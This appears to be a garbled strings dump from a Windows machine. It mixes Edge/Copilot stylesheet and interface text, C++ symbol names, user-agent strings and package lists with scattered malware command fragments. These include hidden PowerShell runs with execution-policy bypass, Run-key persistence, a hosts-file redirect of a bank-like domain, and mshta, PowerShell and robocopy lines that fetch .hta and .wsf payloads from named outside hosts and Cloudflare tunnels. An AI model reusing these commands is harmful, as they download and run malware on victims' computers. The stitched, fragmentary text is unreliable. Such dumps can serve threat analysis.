.imageGridList .imageGridSuggestion.selected .suggContainer{border:2px solid rgba(0,95,184,.9)!important}#root.darkTheme:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .imageGridList .imageGridSuggestion.selected .suggContainer{border:2px solid rgba(96,205,255,.9)!important}#root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .suggestion{border-radius:4px;border:2px solid transparent!important}body[dir='ltr'] #root:not(.zeroInput19H1):not(.fileExplorer) .gridLayout .suggestion{margin:4px 8px 4px 0}body[dir='rtl'] #root:not(.zeroInput19H1):not(.fileExplorer) .gridL.zeroInput19H1.wideByDefault .withUpsellContainer .groupContainer.topItemsGroup{grid-row-start:1;grid-row-end:3}.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .groupContainer.recommendedSuggGroup.topMostGroup{grid-column-start:2;grid-row-start:1;grid-row-end:4}.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup{grid-row:1}body[dir] .twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup{margin-top:0}body[dir] .twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .groupHeader{padding:8px 0}.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .groupTitle{display:block}.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .suggestion{border-radius:6px;background-color:#fff}body[dir] .twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .suggestion{margin:0;padding:3.76%}.darkTheme.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .suggestion{background-color:rgba(225,225,225,.0698);border-bottom:0}.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .suggestion .iconContent{font-size:36px}.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .iconContainer.codexIcon{top:0;width:36px;height:36px}.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .iconContainer{top:8px}body[dir='ltr'] .twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .iconContainer{margin-left:0;left:0}body[dir='rtl'] .twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .iconContainer{margin-right:0;right:0}body[dir] .twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .primaryText{margin:0}.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .primaryText .title,.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .primaryText .additionalInfoText{max-width:100%;white-space:normal}body[dir] .twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .primaryText .title,body[dir] .twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .primaryText .additionalInfoText{padding:0}.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .primaryText .additionalInfoText.annotation{color:#444}.darkTheme.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .primaryText .additionalInfoText.annotation{color:rgba(255,255,255,.6)}.darkTheme.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .primaryText .additionalCalloutText{color:#000}.twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .additionalCalloutText{position:static;text-align:center;line-height:20px;min-width:141px}body[dir] .twoPanesZI.zeroInput19H1.wideByDefault .withUpsellContainer .upsellSuggGroup .additionalCalloutText{margin-top:10px;padding:2.43% 6.48%}.twoPanesZI.zeroInput19H1.wideByDefault .groupContainer.leftPaneZIsuggestions{grid-row-start:1;grid-row-end:4;width:100%}body[dir] .twoPanesZI.zeroInput19H1.wideByDefault .groupContainer.leftPaneZIsuggestions{margin-top:0}body[dir='ltr'] .twoPanesZI.zeroInput19H1.wideByDefault .groupContainer.leftPaneZIsuggestions .group{margin-right:0}body[dir='rtl'] .twoPanesZI.zeroInput19H1.wideByDefault .groupContainer.leftPaneZIsuggestions .group{margin-left:0}body[dir] .twoPanesZI.zeroInput19H1.wideByDefault .topItemsGroup{margin-bottom:0;margin-top:0}body[dir='ltr'] .twoPanesZI.zeroInput19H1.wideByDefault .topItemsGroup{margin-left:24px}body[dir='rtl'] .twoPanesZI.zeroInput19H1.wideByDefault .topItemsGroup{margin-right:24px}body[dir] .twoPanesZI.zeroInput19H1.wideByDefault .topItemsGroup .groupHeader{margin-bottom:0}.twoPanesZI.zeroInput19H1.wideByDefault .topItemsGroup .suggestion:hover{background-color:#fff}body[dir='ltr'] .twoPanesZI.zeroInput19H1.wideByDefault .recommendedSuggGroup,body[dir='ltr'] .twoPanesZI.zeroInput19H1.wideByDefault .balloon Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
13b^com.microsoft.windows.assetreference
13c^com.microsoft.windows.extensionpackage
13d^com.microsoft.windows.extension.speechsynthesizer
xmlhttp.setrequestheader"user-agent","mozilla/5.0(windowsnt10.0;win64;x64;rv:6.0)gecko/20110101firefox/69.0
Microsoft Windowse
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
regadd"hkcu\software\microsoft\windows\currentversion\run
Dpowershell.exe-windowstylehidden-executionpolicybypass-file
7c:\windows\system32\wscript.exe
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Microsoft.Windows.Cortana_cw5n1h2txyewy!
Windows"
"Windows"
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other bro
WINDOWS11
857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\PowerShell_ISE.exe
857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\PowerShell_ISE.exe
857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\PowerShell_ISE.exe
_857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\PowerShell_ISE.exe
?857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\PowerShell_ISE.exe
software\microsoft\windows\currentversion\run
happygame_58lala.exe/sp-/silent/norestart")run(stringleft(@windowsdir,2)&"\hijack58lala.exe")run
	\System32\voice.vbsC
=c:\windows\
getwindowsproductkeyfromregistrydecode
C:\Windows\System32\Midi2.KSTransport.dll
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@V?$tuple@UFocusProxyButton@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$HomePage_base@UHomePage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AV?$IUIElementOverrides7T@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UHomePage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UHomePage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UHomePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UHomePage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UHomePage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IPageOverridesT@UHomePage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base@UHomePage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AU?$base_one@UHomePage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UHomePage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
=_NextPart_2rfkindysadvnqw3nerasdfNiste poze interesante cu tine in arhiva astaEtiNet Windows Version \ANR Sistemas\Sistema - EverestAC - Sistema de acessoriaSisPaf - GerenciamentoTMotoBoySis00
C:\WINDOWS\SYSTEM32\
://fejalconstrucoes.com.br/windows.txt
\windows firewall\config\\
rundll32.exe my_application_path, ProcessLoad\Windows Mail\wab.exe
system32\wmp.ocaYunIoQwJ
\xcopy.exe.\ressdtdos%systemroot%\system32\bfddos.dll
Xjvecho 67.223.232.110 viabcp.com >> %windir%\system32\drivers\etc\hostsstart http://www.postales.com/buenos-deseos/animo/trampolin-al-cielo.htm
SoftWare\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersBeep
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Windows"
"Windows"
als:1,repair:1,report:1,republican:1,rest:1,restaurant:1,review:1,reviews:1,rexroth:1,rich:1,richardli:1,ricoh:1,rightathome:1,ril:1,rio:1,rip:1,rmit:1,ro:1,rocher:1,rocks:1,rodeo:1,rogers:1,room:1,rs:1,rsvp:1,ru:1,rugby:1,ruhr:1,run:1,rw:1,rwe:1,ryukyu:1,sa:1,saarland:1,safe:1,safety:1,sakura:1,sale:1,salon:1,samsclub:1,samsung:1,sandvik:1,sandvikcoromant:1,sanofi:1,sap:1,sarl:1,sas:1,save:1,saxo:1,sb:1,sbi:1,sbs:1,sc:1,sca:1,scb:1,schaeffler:1,schmidt:1,scholarships:1,school:1,schule:1,schwarz:1,science:1,scjohnson:1,scot:1,sd:1,se:1,search:1,seat:1,secure:1,security:1,seek:1,select:1,sener:1,services:1,ses:1,seven:1,sew:1,sex:1,sexy:1,sfr:1,sg:1,sh:1,shangrila:1,sharp:1,shaw:1,shell:1,shia:1,shiksha:1,shoes:1,shop:1,shopping:1,shouji:1,show:1,showtime:1,shriram:1,si:1,silk:1,sina:1,singles:1,site:1,sj:1,sk:1,ski:1,skin:1,sky:1,skype:1,sl:1,sling:1,sm:1,smart:1,smile:1,sn:1,sncf:1,so:1,soccer:1,social:1,softbank:1,software:1,sohu:1,solar:1,solutions:1,song:1,sony:1,soy:1,space:1,sport:1,spot:1,spreadbetting:1,sr:1,srl:1,ss:1,st:1,stada:1,staples:1,star:1,statebank:1,statefarm:1,stc:1,stcgroup:1,stockholm:1,storage:1,store:1,stream:1,studio:1,study:1,style:1,su:1,sucks:1,supplies:1,supply:1,support:1,surf:1,surgery:1,suzuki:1,sv:1,swatch:1,swiftcover:1,swiss:1,sx:1,sy:1,sydney:1,symantec:1,systems:1,sz:1,tab:1,taipei:1,talk:1,taobao:1,target:1,tatamotors:1,tatar:1,tattoo:1,tax:1,taxi:1,tc:1,tci:1,td:1,tdk:1,team:1,tech:1,technology:1,tel:1,temasek:1,tennis:1,teva:1,tf:1,tg:1,th:1,thd:1,theater:1,theatre:1,tiaa:1,tickets:1,tienda:1,tiffany:1,tips:1,tires:1,tirol:1,tj:1,tjmaxx:1,tjx:1,tk:1,tkmaxx:1,tl:1,tm:1,tmall:1,tn:1,to:1,today:1,tokyo:1,tools:1,top:1,toray:1,toshiba:1,total:1,tours:1,town:1,toyota:1,toys:1,tr:1,trade:1,trading:1,training:1,travel:1,travelchannel:1,travelers:1,travelersinsurance:1,trust:1,trv:1,tt:1,tube:1,tui:1,tunes:1,tushu:1,tv:1,tvs:1,tw:1,tz:1,ua:1,ubank:1,ubs:1,ug:1,uk:1,unicom:1,university:1,uno:1,uol:1,ups:1,us:1,uy:1,uz:1,va:1,vacations:1,vana:1,vanguard:1,vc:1,ve:1,vegas:1,ventures:1,verisign:1,versicherung:1,vet:1,vg:1,vi:1,viajes:1,video:1,vig:1,viking:1,villas:1,vin:1,vip:1,virgin:1,visa:1,vision:1,viva:1,vivo:1,vlaanderen:1,vn:1,vodka:1,volkswagen:1,volvo:1,vote:1,voting:1,voto:1,voyage:1,vu:1,vuelos:1,wales:1,walmart:1,walter:1,wang:1,wanggou:1,watch:1,watches:1,weather:1,weatherchannel:1,webcam:1,weber:1,website:1,wed:1,wedding:1,weibo:1,weir:1,wf:1,whoswho:1,wien:1,wiki:1,williamhill:1,win:1,windows:1,wine:1,winners:1,wme:1,wolterskluwer:1,woodside:1,work:1,works:1,world:1,wow:1,ws:1,wtc:1,wtf:1,xbox:1,xerox:1,xfinity:1,xihuan:1,xin:1,"xn--11b4c3d":1,"
.~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-command
8.oneh2alsothing.batl.alsothing.bat..\..\one\alsothing.batc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
powershell.exe-windowstylehiddenc:\\users\\public\\document\\python
c:\windows\system32\windowspowershell\v1.0\powershell.exe-command$pdw=$env:programdata
c:\windows\system32\windowspowershell\v1.0\powershell.exe,-windowstylehidden$
C:\WINDOWS\system32\TSBYUV.DLL
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\drivers.desc
onecoreuap\windows\directx\dxg\dxgi\adaptercache\exe\main.cpp
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.settings.settingsusagehistory|windows.data.settings.settingsusagehistory
windows.data.settings.settingsusagehistorydefault$windows.data.settings.settingsusagehistoryi
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.apps.unpackagedproducts|windows.data.apps.unpackagedproducts
windows.data.apps.unpackagedproductsdefault$windows.data.apps.unpackagedproductsi
0_4z$PLJD3@!ii0*xu!vqi_2_UK^eRE(X&Yx>xjadKHW$yKegjt<$1Qui#Vm5cyx\WindowsSDK7-Samples-master\WindowsSDK7-Samples-master\com\administration\spy\Win32\Release\ComS
USERDOMAIN=Windows11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
USERDOMAIN_ROAMINGPROFILE=Windows11
0Model@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-FileSystem-Support-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
.?AV?$ErrorMessageAsyncOperation@U?$IAsyncOperation@PEAVContentRestrictionsBrowsePolicy@ContentRestrictions@Media@Windows@@@Foundation@Windows@@@Private@AsyncOperation@Threading@@
.?AV?$ErrorMessageAsyncOperation@U?$IAsyncOperation@W4ContentAccessRestrictionLevel@ContentRestrictions@Media@Windows@@@Foundation@Windows@@@Private@AsyncOperation@Threading@@
Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbw
33^windows.appService
33^windows.backgroundTasks
{ c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://fidelity-flooringinc.com/loco.hta'
=c:\windows\system32\windowspowershell\v1.0\powershell.exe-ebqbzaggadabhacaaigboahqadabwadoalwavagwaaqbuagsamga0ac4aawbyac8a
.dll,#1"6c:\programfiles\windowsphotoviewer\photoviewer.dllc:\windows\system32\cmd.exe
c:\windows\system32\cmd.exe/crobocopy"\\menu-conviction-given-not.trycloudflare.com@ssl\davwwwroot\re_11wsf"%temp%jun11.wsf
	@hejhej.*jkcmd.exel/kosc:\windows\system32\cmd.exe
 \windows\system32\cmd.exe/c
Rc:\windows\system32\cmd.exe/crobocopy"\\flour-riding-merit-refers.trycloudflare.com@ssl\davwwwroot\re_02wsf"%temp%tank.wsf/
c:\windows\system32\cmd.exe/crobocopy"\\inc-vanilla-pregnant-size.trycloudflare.com@ssl\davwwwroot\re_02wsf"%temp%kola.wsf/
g{Ec:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://lolobon123.loophole.site/kiki.hta'
c:\windows\system32\windowspowershell\v1.0\powershell.exe-winmi(&(gali*x).name(&(galir*).namekelagogo.com/invoice101886.txt))
?set-itemproperty-path"hklm:\software\policies\microsoft\windows\currentversion\internetsettings"-name
\windows\system32\mshta.exe&https://mytaxclientcopy.com/xlab22.hta9%programfiles(x86)%\microsoft\edge\application\msedge.exe
c:\windows\system32\windowspowershell\v1.0\powershell.exe\w*\\\*2\\\msh*e('http'+'://thanhancompany.com/demo/lenore'+
Windows Defender Cache Maintenance5(
Windows.3
c:\z1breezilyb.breezilyz2groupedpotteries.jsx.groupedpotteries.js"(..\..\..\..\breezily\groupedpotteries.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%
	system32\Windo
Root=C:\WINDOWS
C:\WINDOWS\
Path=C:\WINDOWS\system32;
C:\Windows\System32\smartscreen.exe
WindowsApp
nagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
